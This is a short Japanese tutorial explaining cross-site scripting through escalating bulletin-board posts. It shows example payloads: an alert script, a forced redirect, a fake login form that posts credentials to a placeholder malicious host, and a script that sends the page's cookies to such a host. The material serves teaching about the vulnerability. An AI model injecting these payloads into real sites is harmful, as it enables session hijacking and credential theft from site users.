クロスサイトスクリプティング(cross-site scripting)脆弱性とは、CGI などを用いた Webページに発生しがちなセキュリティ問題です。
利用者が HTMLタグを入力できる掲示板があるとします。例えば、下記のようなメッセージを書き込むと、その人のメッセージが赤色で表示されます。
<font color="red">こんにちわ。レッドです。</font>
下記のようなメッセージを書き込まれると、掲示板に不適切な画像を貼り付けられてしまいます。このレベルではまだまだクロスサイトスクリプティング脆弱性とは言いませんが、掲示板管理者にとっては問題ですね。
<img src="http://変なサイトの/変な画像.jpg">
この掲示板に、下記のような JavaScript 付きのメッセージを書き込むと、そのページを開くたびに変なダイアログが表示されてしまいます。
<script>alert("悪者参上!!");</script>
下記のようなメッセージを書き込まれてしまうと、掲示板を開く度に強制的に変なページにジャンプされてしまいます。
<script>location.href = "http://悪意のあるサイト/";</script>
商取引サイトにおいて、下記のようなメッセージを書き込まれると・・・
<form method="POST" action="http://悪意サイト/悪意スクリプト"> ユーザ名:<input type="text" name="USERNAME">>br> パスワード:<input type="text" name="PASSWORD"><br> </form>
上記までのレベルであれば、単に「予期しないものが表示される」程度の問題ですが、例えば、Cookie でセッション管理を行っているサイトで、下記のような書き込みが行われてしまった場合はどうなるでしょうか。
<script> location.href = "http://悪意のあるサイト/悪意のあるスクリプト.cgi?" + escape(document.cookie); </script>
大事なセッション情報(ひどい場合は、ユーザ名とパスワードをそのまま Cookie 情報として保持しているサイトもあります)が、悪意のあるサイトの悪意のあるスクリプトに情報として収集されてしまいます。